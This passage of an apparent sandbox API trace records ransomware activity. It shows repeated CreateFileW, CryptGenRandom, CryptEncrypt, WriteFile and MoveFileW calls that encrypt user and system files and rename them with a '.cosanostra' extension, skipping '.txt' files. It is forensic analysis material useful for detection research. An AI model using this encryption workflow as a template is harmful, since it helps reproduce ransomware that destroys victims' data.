lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0090.020] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini") returned 57 [0090.020] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0090.021] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffffee6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.021] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x251f684, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f684*=0x11a, lpOverlapped=0x0) returned 1 [0090.021] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.021] WriteFile (in: hFile=0x154, lpBuffer=0x251f6c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f684, lpOverlapped=0x0 | out: lpBuffer=0x251f6c4*, lpNumberOfBytesWritten=0x251f684*=0x4, lpOverlapped=0x0) returned 1 [0090.021] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f684, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f684*=0x30, lpOverlapped=0x0) returned 1 [0090.021] CloseHandle (hObject=0x154) returned 1 [0090.021] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games\\desktop.ini.cosanostra")) returned 1 [0090.022] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f6c8 | out: pbBuffer=0x251f6c8) returned 1 [0090.022] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f6c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f6c0*=0x30) returned 1 [0090.022] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.022] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f6c0 | out: pbBuffer=0x251f6c0) returned 1 [0090.022] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f6b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f6b8*=0x30) returned 1 [0090.022] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.023] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f6b8 | out: pbBuffer=0x251f6b8) returned 1 [0090.023] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f6b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f6b0*=0x30) returned 1 [0090.023] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\YsAZL5pz.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ysazl5pz.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0090.024] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\YsAZL5pz.jpg") returned 55 [0090.024] StrStrW (lpFirst="YsAZL5pz.jpg", lpSrch=".txt") returned 0x0 [0090.024] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.024] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f674, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f674*=0x2800, lpOverlapped=0x0) returned 1 [0090.025] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.025] WriteFile (in: hFile=0x154, lpBuffer=0x251f6b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f674, lpOverlapped=0x0 | out: lpBuffer=0x251f6b4*, lpNumberOfBytesWritten=0x251f674*=0x4, lpOverlapped=0x0) returned 1 [0090.025] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f674, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f674*=0x30, lpOverlapped=0x0) returned 1 [0090.025] CloseHandle (hObject=0x154) returned 1 [0090.025] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\YsAZL5pz.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ysazl5pz.jpg"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\YsAZL5pz.jpg.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ysazl5pz.jpg.cosanostra")) returned 1 [0090.025] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f6b8 | out: pbBuffer=0x251f6b8) returned 1 [0090.025] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f6b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f6b0*=0x30) returned 1 [0090.026] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\WtydZZ2W1WM.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\wtydzz2w1wm.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0090.026] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\WtydZZ2W1WM.jpg") returned 58 [0090.026] StrStrW (lpFirst="WtydZZ2W1WM.jpg", lpSrch=".txt") returned 0x0 [0090.043] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.043] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f674, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f674*=0x2800, lpOverlapped=0x0) returned 1 [0090.043] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.043] WriteFile (in: hFile=0x154, lpBuffer=0x251f6b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f674, lpOverlapped=0x0 | out: lpBuffer=0x251f6b4*, lpNumberOfBytesWritten=0x251f674*=0x4, lpOverlapped=0x0) returned 1 [0090.043] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f674, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f674*=0x30, lpOverlapped=0x0) returned 1 [0090.043] CloseHandle (hObject=0x154) returned 1 [0090.045] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\WtydZZ2W1WM.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\wtydzz2w1wm.jpg"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\WtydZZ2W1WM.jpg.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\wtydzz2w1wm.jpg.cosanostra")) returned 1 [0090.046] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f6a8 | out: pbBuffer=0x251f6a8) returned 1 [0090.046] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f6a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f6a0*=0x30) returned 1 [0090.046] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0090.046] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 122 [0090.046] StrStrW (lpFirst="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpSrch=".txt") returned 0x0 [0090.075] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffffbe3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.075] WriteFile (in: hFile=0x170, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x41d, lpNumberOfBytesWritten=0x251f664, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f664*=0x41d, lpOverlapped=0x0) returned 1 [0090.075] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.075] WriteFile (in: hFile=0x170, lpBuffer=0x251f6a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f664, lpOverlapped=0x0 | out: lpBuffer=0x251f6a4*, lpNumberOfBytesWritten=0x251f664*=0x4, lpOverlapped=0x0) returned 1 [0090.075] WriteFile (in: hFile=0x170, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f664, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f664*=0x30, lpOverlapped=0x0) returned 1 [0090.075] CloseHandle (hObject=0x170) returned 1 [0090.076] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f.cosanostra")) returned 1 [0090.079] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f698 | out: pbBuffer=0x251f698) returned 1 [0090.079] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f690*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f690*=0x30) returned 1 [0090.079] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Mozilla\\logs\\maintenanceservice-install.log" (normalized: "c:\\users\\all users\\mozilla\\logs\\maintenanceservice-install.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0090.079] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Mozilla\\logs\\maintenanceservice-install.log") returned 66 [0090.079] StrStrW (lpFirst="maintenanceservice-install.log", lpSrch=".txt") returned 0x0 [0090.082] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xffffff5c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.082] WriteFile (in: hFile=0x170, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0xa4, lpNumberOfBytesWritten=0x251f654, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f654*=0xa4, lpOverlapped=0x0) returned 1 [0090.082] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.082] WriteFile (in: hFile=0x170, lpBuffer=0x251f694*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f654, lpOverlapped=0x0 | out: lpBuffer=0x251f694*, lpNumberOfBytesWritten=0x251f654*=0x4, lpOverlapped=0x0) returned 1 [0090.082] WriteFile (in: hFile=0x170, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f654, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f654*=0x30, lpOverlapped=0x0) returned 1 [0090.082] CloseHandle (hObject=0x170) returned 1 [0090.082] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Mozilla\\logs\\maintenanceservice-install.log" (normalized: "c:\\users\\all users\\mozilla\\logs\\maintenanceservice-install.log"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Mozilla\\logs\\maintenanceservice-install.log.cosanostra" (normalized: "c:\\users\\all users\\mozilla\\logs\\maintenanceservice-install.log.cosanostra")) returned 1 [0090.084] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f690 | out: pbBuffer=0x251f690) returned 1 [0090.084] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f688*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f688*=0x30) returned 1 [0090.084] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\nslist.hxl" (normalized: "c:\\users\\all users\\microsoft help\\nslist.hxl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0090.084] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\nslist.hxl") returned 48 [0090.084] StrStrW (lpFirst="nslist.hxl", lpSrch=".txt") returned 0x0 [0090.124] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xffffde24, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.124] WriteFile (in: hFile=0x170, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x21dc, lpNumberOfBytesWritten=0x251f64c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f64c*=0x21dc, lpOverlapped=0x0) returned 1 [0090.124] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.124] WriteFile (in: hFile=0x170, lpBuffer=0x251f68c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f64c, lpOverlapped=0x0 | out: lpBuffer=0x251f68c*, lpNumberOfBytesWritten=0x251f64c*=0x4, lpOverlapped=0x0) returned 1 [0090.124] WriteFile (in: hFile=0x170, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f64c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f64c*=0x30, lpOverlapped=0x0) returned 1 [0090.124] CloseHandle (hObject=0x170) returned 1 [0090.125] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\nslist.hxl" (normalized: "c:\\users\\all users\\microsoft help\\nslist.hxl"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\nslist.hxl.cosanostra" (normalized: "c:\\users\\all users\\microsoft help\\nslist.hxl.cosanostra")) returned 1 [0090.126] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f688 | out: pbBuffer=0x251f688) returned 1 [0090.126] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f680*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f680*=0x30) returned 1 [0090.126] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\.." (normalized: "c:\\users\\default\\appdata\\local\\microsoft"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.126] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f680 | out: pbBuffer=0x251f680) returned 1 [0090.126] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f678*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f678*=0x30) returned 1 [0090.126] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\." (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\credentials\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.234] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f670 | out: pbBuffer=0x251f670) returned 1 [0090.234] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f668*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f668*=0x30) returned 1 [0090.234] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\feedsstore.feedsdb-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0090.234] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms") returned 72 [0090.234] StrStrW (lpFirst="FeedsStore.feedsdb-ms", lpSrch=".txt") returned 0x0 [0090.235] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffe600, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.235] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x251f62c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f62c*=0x1a00, lpOverlapped=0x0) returned 1 [0090.235] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.236] WriteFile (in: hFile=0x138, lpBuffer=0x251f66c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f62c, lpOverlapped=0x0 | out: lpBuffer=0x251f66c*, lpNumberOfBytesWritten=0x251f62c*=0x4, lpOverlapped=0x0) returned 1 [0090.236] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f62c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f62c*=0x30, lpOverlapped=0x0) returned 1 [0090.236] CloseHandle (hObject=0x138) returned 1 [0090.236] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\feedsstore.feedsdb-ms"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\feedsstore.feedsdb-ms.cosanostra")) returned 1 [0090.236] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f670 | out: pbBuffer=0x251f670) returned 1 [0090.237] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f668*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f668*=0x30) returned 1 [0090.237] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0090.237] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi") returned 142 [0090.237] StrStrW (lpFirst="vc_runtimeMinimum_x86.msi", lpSrch=".txt") returned 0x0 [0090.420] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.420] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f62c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f62c*=0x2800, lpOverlapped=0x0) returned 1 [0090.420] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.421] WriteFile (in: hFile=0x138, lpBuffer=0x251f66c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f62c, lpOverlapped=0x0 | out: lpBuffer=0x251f66c*, lpNumberOfBytesWritten=0x251f62c*=0x4, lpOverlapped=0x0) returned 1 [0090.421] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f62c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f62c*=0x30, lpOverlapped=0x0) returned 1 [0090.421] CloseHandle (hObject=0x138) returned 1 [0090.421] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.cosanostra" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi.cosanostra")) returned 1 [0090.422] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f668 | out: pbBuffer=0x251f668) returned 1 [0090.422] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f660*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f660*=0x30) returned 1 [0090.423] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv" (normalized: "c:\\users\\public\\recorded tv\\sample media\\win7_scenic-demoshort_raw.wtv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0090.586] lstrlenW (lpString="\\\\?\\C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv") returned 74 [0090.586] StrStrW (lpFirst="win7_scenic-demoshort_raw.wtv", lpSrch=".txt") returned 0x0 [0090.587] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.587] WriteFile (in: hFile=0x138, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f624, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x251f624*=0x2800, lpOverlapped=0x0) returned 1 [0090.587] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.587] WriteFile (in: hFile=0x138, lpBuffer=0x251f664*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f624, lpOverlapped=0x0 | out: lpBuffer=0x251f664*, lpNumberOfBytesWritten=0x251f624*=0x4, lpOverlapped=0x0) returned 1 [0090.588] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f624, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f624*=0x30, lpOverlapped=0x0) returned 1 [0090.588] CloseHandle (hObject=0x138) returned 1 [0090.588] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv" (normalized: "c:\\users\\public\\recorded tv\\sample media\\win7_scenic-demoshort_raw.wtv"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv.cosanostra" (normalized: "c:\\users\\public\\recorded tv\\sample media\\win7_scenic-demoshort_raw.wtv.cosanostra")) returned 1 [0090.588] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f668 | out: pbBuffer=0x251f668) returned 1 [0090.589] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f660*=0x20, 